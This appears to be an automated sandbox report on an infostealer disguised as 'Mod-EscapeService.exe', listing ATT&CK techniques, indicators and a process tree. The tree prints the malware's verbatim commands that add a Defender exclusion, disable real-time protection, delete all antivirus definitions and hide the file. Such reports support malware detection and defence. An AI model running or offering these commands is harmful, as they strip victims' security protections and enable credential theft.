f73cfbfe34f96372a1e5aa3cb588492d81ee086fd2acc58241d1374a2873517a

Resubmissions

02-01-2025 19:50

250102-ykqxsawpfr 10

02-01-2025 19:48

250102-yjh6jstlbz 10

02-01-2025 19:44

250102-yf88katkav 10

Analysis

max time kernel
155s
max time network
160s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-it
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-itlocale:it-itos:windows10-ltsc 2021-x64systemwindows
submitted
02-01-2025 19:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Mod-EscapeService.exe
Size

7.6MB
MD5

4dd6dfdcc5ed78223d86f1732c7e1db0
SHA1

acabd58b86e64d1b919bb82ad774df53dfaa369d
SHA256

f73cfbfe34f96372a1e5aa3cb588492d81ee086fd2acc58241d1374a2873517a
SHA512

e981998d5b1c8c39f05016620c26e9c689bc898ce74d6d92eb3e304fafb118d1317066876cf94be72535b5771fe999624cb621cd86b4fcb9c40ee395bf54b315
SSDEEP

196608:BAHYSwfI9jUCzi4H1qSiXLGVi7DMgpZ3Q9VMwICEc/X3:3IHziK1piXLGVE4Ue9VJP

Score

10^/10

collection credential_access defense_evasion discovery evasion execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4080	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2240	powershell.exe
3544	powershell.exe
3868	powershell.exe
880	powershell.exe
4080	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Mod-EscapeService.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
668	cmd.exe
5068	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3240	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe
4420	Mod-EscapeService.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	ip-api.com
13	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Enumerates processes with tasklist 1 TTPs 5 IoCs

discovery

Process Discovery

T1057

pid	Process
5100	tasklist.exe
4644	tasklist.exe
2568	tasklist.exe
5092	tasklist.exe
4524	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
836	cmd.exe

UPX packed file 55 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00240000000461b4-21.dat	upx
behavioral1/memory/4420-25-0x00007FFAC4850000-0x00007FFAC4EB3000-memory.dmp	upx
behavioral1/files/0x0028000000046193-27.dat	upx
behavioral1/files/0x002a0000000461a6-31.dat	upx
behavioral1/memory/4420-30-0x00007FFADA440000-0x00007FFADA467000-memory.dmp	upx
behavioral1/memory/4420-48-0x00007FFADBFE0000-0x00007FFADBFEF000-memory.dmp	upx
behavioral1/files/0x002900000004619a-47.dat	upx
behavioral1/files/0x0028000000046199-46.dat	upx
behavioral1/files/0x0028000000046198-45.dat	upx
behavioral1/files/0x0028000000046197-44.dat	upx
behavioral1/files/0x0028000000046196-43.dat	upx
behavioral1/files/0x0028000000046195-42.dat	upx
behavioral1/files/0x0028000000046194-41.dat	upx
behavioral1/files/0x0028000000046192-40.dat	upx
behavioral1/files/0x00280000000461c4-39.dat	upx
behavioral1/files/0x00280000000461c1-38.dat	upx
behavioral1/files/0x002e0000000461bf-37.dat	upx
behavioral1/files/0x00310000000461b2-34.dat	upx
behavioral1/files/0x00280000000461a4-33.dat	upx
behavioral1/memory/4420-54-0x00007FFAD52A0000-0x00007FFAD52CB000-memory.dmp	upx
behavioral1/memory/4420-56-0x00007FFADA1F0000-0x00007FFADA209000-memory.dmp	upx
behavioral1/memory/4420-58-0x00007FFAD5150000-0x00007FFAD5175000-memory.dmp	upx
behavioral1/memory/4420-60-0x00007FFAC46D0000-0x00007FFAC484F000-memory.dmp	upx
behavioral1/memory/4420-64-0x00007FFADA2A0000-0x00007FFADA2AD000-memory.dmp	upx
behavioral1/memory/4420-63-0x00007FFAD55D0000-0x00007FFAD55E9000-memory.dmp	upx
behavioral1/memory/4420-68-0x00007FFAD5590000-0x00007FFAD55C4000-memory.dmp	upx
behavioral1/memory/4420-66-0x00007FFAC4850000-0x00007FFAC4EB3000-memory.dmp	upx
behavioral1/memory/4420-71-0x00007FFAD42B0000-0x00007FFAD437E000-memory.dmp	upx
behavioral1/memory/4420-73-0x00007FFADA440000-0x00007FFADA467000-memory.dmp	upx
behavioral1/memory/4420-74-0x00007FFAC4190000-0x00007FFAC46C3000-memory.dmp	upx
behavioral1/memory/4420-78-0x00007FFAD5B70000-0x00007FFAD5B7D000-memory.dmp	upx
behavioral1/memory/4420-77-0x00007FFAD51F0000-0x00007FFAD5204000-memory.dmp	upx
behavioral1/memory/4420-80-0x00007FFAC3FE0000-0x00007FFAC4093000-memory.dmp	upx
behavioral1/memory/4420-105-0x00007FFAD5150000-0x00007FFAD5175000-memory.dmp	upx
behavioral1/memory/4420-122-0x00007FFAC46D0000-0x00007FFAC484F000-memory.dmp	upx
behavioral1/memory/4420-258-0x00007FFAD5590000-0x00007FFAD55C4000-memory.dmp	upx
behavioral1/memory/4420-296-0x00007FFAD42B0000-0x00007FFAD437E000-memory.dmp	upx
behavioral1/memory/4420-322-0x00007FFAC4190000-0x00007FFAC46C3000-memory.dmp	upx
behavioral1/memory/4420-334-0x00007FFAC4850000-0x00007FFAC4EB3000-memory.dmp	upx
behavioral1/memory/4420-340-0x00007FFAC46D0000-0x00007FFAC484F000-memory.dmp	upx
behavioral1/memory/4420-358-0x00007FFAD5590000-0x00007FFAD55C4000-memory.dmp	upx
behavioral1/memory/4420-369-0x00007FFAD5150000-0x00007FFAD5175000-memory.dmp	upx
behavioral1/memory/4420-372-0x00007FFAC4850000-0x00007FFAC4EB3000-memory.dmp	upx
behavioral1/memory/4420-373-0x00007FFAC4190000-0x00007FFAC46C3000-memory.dmp	upx
behavioral1/memory/4420-371-0x00007FFAD55D0000-0x00007FFAD55E9000-memory.dmp	upx
behavioral1/memory/4420-370-0x00007FFAC46D0000-0x00007FFAC484F000-memory.dmp	upx
behavioral1/memory/4420-368-0x00007FFADA1F0000-0x00007FFADA209000-memory.dmp	upx
behavioral1/memory/4420-367-0x00007FFAD52A0000-0x00007FFAD52CB000-memory.dmp	upx
behavioral1/memory/4420-366-0x00007FFADBFE0000-0x00007FFADBFEF000-memory.dmp	upx
behavioral1/memory/4420-365-0x00007FFADA440000-0x00007FFADA467000-memory.dmp	upx
behavioral1/memory/4420-364-0x00007FFADA2A0000-0x00007FFADA2AD000-memory.dmp	upx
behavioral1/memory/4420-363-0x00007FFAC3FE0000-0x00007FFAC4093000-memory.dmp	upx
behavioral1/memory/4420-362-0x00007FFAD5B70000-0x00007FFAD5B7D000-memory.dmp	upx
behavioral1/memory/4420-361-0x00007FFAD51F0000-0x00007FFAD5204000-memory.dmp	upx
behavioral1/memory/4420-359-0x00007FFAD42B0000-0x00007FFAD437E000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2500	cmd.exe
1656	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4104	cmd.exe
1344	netsh.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4208	WMIC.exe
2752	WMIC.exe
4048	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4872	systeminfo.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2062871678-1047416116-518495306-1000_Classes\Local Settings	firefox.exe
Key created	\REGISTRY\USER\S-1-5-21-2062871678-1047416116-518495306-1000_Classes\Local Settings	firefox.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1656	PING.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2796	vlc.exe

Suspicious behavior: EnumeratesProcesses 54 IoCs

pid	Process
3868	powershell.exe
2240	powershell.exe
3856	WMIC.exe
3856	WMIC.exe
3856	WMIC.exe
3856	WMIC.exe
2240	powershell.exe
3868	powershell.exe
2752	WMIC.exe
2752	WMIC.exe
2752	WMIC.exe
2752	WMIC.exe
4048	WMIC.exe
4048	WMIC.exe
4048	WMIC.exe
4048	WMIC.exe
3544	powershell.exe
3544	powershell.exe
3236	WMIC.exe
3236	WMIC.exe
3236	WMIC.exe
3236	WMIC.exe
5068	powershell.exe
5068	powershell.exe
1000	powershell.exe
1000	powershell.exe
5068	powershell.exe
880	powershell.exe
880	powershell.exe
1000	powershell.exe
880	powershell.exe
5112	powershell.exe
5112	powershell.exe
5112	powershell.exe
968	WMIC.exe
968	WMIC.exe
968	WMIC.exe
968	WMIC.exe
1044	WMIC.exe
1044	WMIC.exe
1044	WMIC.exe
1044	WMIC.exe
4872	WMIC.exe
4872	WMIC.exe
4872	WMIC.exe
4872	WMIC.exe
4080	powershell.exe
4080	powershell.exe
4208	WMIC.exe
4208	WMIC.exe
4208	WMIC.exe
4208	WMIC.exe
3704	powershell.exe
3704	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2796	vlc.exe

Suspicious behavior: LoadsDriver 10 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
684	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4644	tasklist.exe
Token: SeDebugPrivilege	3868	powershell.exe
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeIncreaseQuotaPrivilege	3856	WMIC.exe
Token: SeSecurityPrivilege	3856	WMIC.exe
Token: SeTakeOwnershipPrivilege	3856	WMIC.exe
Token: SeLoadDriverPrivilege	3856	WMIC.exe
Token: SeSystemProfilePrivilege	3856	WMIC.exe
Token: SeSystemtimePrivilege	3856	WMIC.exe
Token: SeProfSingleProcessPrivilege	3856	WMIC.exe
Token: SeIncBasePriorityPrivilege	3856	WMIC.exe
Token: SeCreatePagefilePrivilege	3856	WMIC.exe
Token: SeBackupPrivilege	3856	WMIC.exe
Token: SeRestorePrivilege	3856	WMIC.exe
Token: SeShutdownPrivilege	3856	WMIC.exe
Token: SeDebugPrivilege	3856	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3856	WMIC.exe
Token: SeRemoteShutdownPrivilege	3856	WMIC.exe
Token: SeUndockPrivilege	3856	WMIC.exe
Token: SeManageVolumePrivilege	3856	WMIC.exe
Token: 33	3856	WMIC.exe
Token: 34	3856	WMIC.exe
Token: 35	3856	WMIC.exe
Token: 36	3856	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3856	WMIC.exe
Token: SeSecurityPrivilege	3856	WMIC.exe
Token: SeTakeOwnershipPrivilege	3856	WMIC.exe
Token: SeLoadDriverPrivilege	3856	WMIC.exe
Token: SeSystemProfilePrivilege	3856	WMIC.exe
Token: SeSystemtimePrivilege	3856	WMIC.exe
Token: SeProfSingleProcessPrivilege	3856	WMIC.exe
Token: SeIncBasePriorityPrivilege	3856	WMIC.exe
Token: SeCreatePagefilePrivilege	3856	WMIC.exe
Token: SeBackupPrivilege	3856	WMIC.exe
Token: SeRestorePrivilege	3856	WMIC.exe
Token: SeShutdownPrivilege	3856	WMIC.exe
Token: SeDebugPrivilege	3856	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3856	WMIC.exe
Token: SeRemoteShutdownPrivilege	3856	WMIC.exe
Token: SeUndockPrivilege	3856	WMIC.exe
Token: SeManageVolumePrivilege	3856	WMIC.exe
Token: 33	3856	WMIC.exe
Token: 34	3856	WMIC.exe
Token: 35	3856	WMIC.exe
Token: 36	3856	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2240	powershell.exe
Token: SeSecurityPrivilege	2240	powershell.exe
Token: SeTakeOwnershipPrivilege	2240	powershell.exe
Token: SeLoadDriverPrivilege	2240	powershell.exe
Token: SeSystemProfilePrivilege	2240	powershell.exe
Token: SeSystemtimePrivilege	2240	powershell.exe
Token: SeProfSingleProcessPrivilege	2240	powershell.exe
Token: SeIncBasePriorityPrivilege	2240	powershell.exe
Token: SeCreatePagefilePrivilege	2240	powershell.exe
Token: SeBackupPrivilege	2240	powershell.exe
Token: SeRestorePrivilege	2240	powershell.exe
Token: SeShutdownPrivilege	2240	powershell.exe
Token: SeDebugPrivilege	2240	powershell.exe
Token: SeSystemEnvironmentPrivilege	2240	powershell.exe
Token: SeRemoteShutdownPrivilege	2240	powershell.exe
Token: SeUndockPrivilege	2240	powershell.exe
Token: SeManageVolumePrivilege	2240	powershell.exe
Token: 33	2240	powershell.exe
Token: 34	2240	powershell.exe

Suspicious use of FindShellTrayWindow 46 IoCs

pid	Process
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
2796	vlc.exe
2796	vlc.exe
2796	vlc.exe
2796	vlc.exe

Suspicious use of SendNotifyMessage 43 IoCs

pid	Process
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
2184	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
5236	firefox.exe
2796	vlc.exe
2796	vlc.exe
2796	vlc.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2184	firefox.exe
5236	firefox.exe
2796	vlc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3612 wrote to memory of 4420	3612	Mod-EscapeService.exe	85
PID 3612 wrote to memory of 4420	3612	Mod-EscapeService.exe	85
PID 4420 wrote to memory of 392	4420	Mod-EscapeService.exe	86
PID 4420 wrote to memory of 392	4420	Mod-EscapeService.exe	86
PID 4420 wrote to memory of 1916	4420	Mod-EscapeService.exe	87
PID 4420 wrote to memory of 1916	4420	Mod-EscapeService.exe	87
PID 4420 wrote to memory of 2068	4420	Mod-EscapeService.exe	90
PID 4420 wrote to memory of 2068	4420	Mod-EscapeService.exe	90
PID 4420 wrote to memory of 420	4420	Mod-EscapeService.exe	92
PID 4420 wrote to memory of 420	4420	Mod-EscapeService.exe	92
PID 2068 wrote to memory of 4644	2068	cmd.exe	94
PID 2068 wrote to memory of 4644	2068	cmd.exe	94
PID 392 wrote to memory of 2240	392	cmd.exe	95
PID 392 wrote to memory of 2240	392	cmd.exe	95
PID 1916 wrote to memory of 3868	1916	cmd.exe	96
PID 1916 wrote to memory of 3868	1916	cmd.exe	96
PID 420 wrote to memory of 3856	420	cmd.exe	97
PID 420 wrote to memory of 3856	420	cmd.exe	97
PID 4420 wrote to memory of 832	4420	Mod-EscapeService.exe	100
PID 4420 wrote to memory of 832	4420	Mod-EscapeService.exe	100
PID 832 wrote to memory of 1520	832	cmd.exe	102
PID 832 wrote to memory of 1520	832	cmd.exe	102
PID 4420 wrote to memory of 1644	4420	Mod-EscapeService.exe	103
PID 4420 wrote to memory of 1644	4420	Mod-EscapeService.exe	103
PID 1644 wrote to memory of 2356	1644	cmd.exe	105
PID 1644 wrote to memory of 2356	1644	cmd.exe	105
PID 4420 wrote to memory of 1660	4420	Mod-EscapeService.exe	106
PID 4420 wrote to memory of 1660	4420	Mod-EscapeService.exe	106
PID 1660 wrote to memory of 2752	1660	cmd.exe	108
PID 1660 wrote to memory of 2752	1660	cmd.exe	108
PID 4420 wrote to memory of 3516	4420	Mod-EscapeService.exe	109
PID 4420 wrote to memory of 3516	4420	Mod-EscapeService.exe	109
PID 3516 wrote to memory of 4048	3516	cmd.exe	111
PID 3516 wrote to memory of 4048	3516	cmd.exe	111
PID 4420 wrote to memory of 836	4420	Mod-EscapeService.exe	149
PID 4420 wrote to memory of 836	4420	Mod-EscapeService.exe	149
PID 4420 wrote to memory of 3528	4420	Mod-EscapeService.exe	113
PID 4420 wrote to memory of 3528	4420	Mod-EscapeService.exe	113
PID 836 wrote to memory of 560	836	cmd.exe	116
PID 836 wrote to memory of 560	836	cmd.exe	116
PID 3528 wrote to memory of 3544	3528	cmd.exe	117
PID 3528 wrote to memory of 3544	3528	cmd.exe	117
PID 4420 wrote to memory of 5116	4420	Mod-EscapeService.exe	118
PID 4420 wrote to memory of 5116	4420	Mod-EscapeService.exe	118
PID 4420 wrote to memory of 3836	4420	Mod-EscapeService.exe	164
PID 4420 wrote to memory of 3836	4420	Mod-EscapeService.exe	164
PID 5116 wrote to memory of 2568	5116	cmd.exe	122
PID 5116 wrote to memory of 2568	5116	cmd.exe	122
PID 3836 wrote to memory of 5092	3836	cmd.exe	161
PID 3836 wrote to memory of 5092	3836	cmd.exe	161
PID 4420 wrote to memory of 1536	4420	Mod-EscapeService.exe	124
PID 4420 wrote to memory of 1536	4420	Mod-EscapeService.exe	124
PID 4420 wrote to memory of 668	4420	Mod-EscapeService.exe	125
PID 4420 wrote to memory of 668	4420	Mod-EscapeService.exe	125
PID 4420 wrote to memory of 1980	4420	Mod-EscapeService.exe	127
PID 4420 wrote to memory of 1980	4420	Mod-EscapeService.exe	127
PID 4420 wrote to memory of 1100	4420	Mod-EscapeService.exe	129
PID 4420 wrote to memory of 1100	4420	Mod-EscapeService.exe	129
PID 4420 wrote to memory of 4104	4420	Mod-EscapeService.exe	132
PID 4420 wrote to memory of 4104	4420	Mod-EscapeService.exe	132
PID 4420 wrote to memory of 1232	4420	Mod-EscapeService.exe	134
PID 4420 wrote to memory of 1232	4420	Mod-EscapeService.exe	134
PID 4420 wrote to memory of 4812	4420	Mod-EscapeService.exe	194
PID 4420 wrote to memory of 4812	4420	Mod-EscapeService.exe	194

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4780	attrib.exe
560	attrib.exe
4404	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Mod-EscapeService.exe
"C:\Users\Admin\AppData\Local\Temp\Mod-EscapeService.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3612
- C:\Users\Admin\AppData\Local\Temp\Mod-EscapeService.exe
  "C:\Users\Admin\AppData\Local\Temp\Mod-EscapeService.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Mod-EscapeService.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:392
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Mod-EscapeService.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3868
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:4080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2068
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:420
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:832
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:1520
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1644
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:2356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1660
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3516
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\Mod-EscapeService.exe""
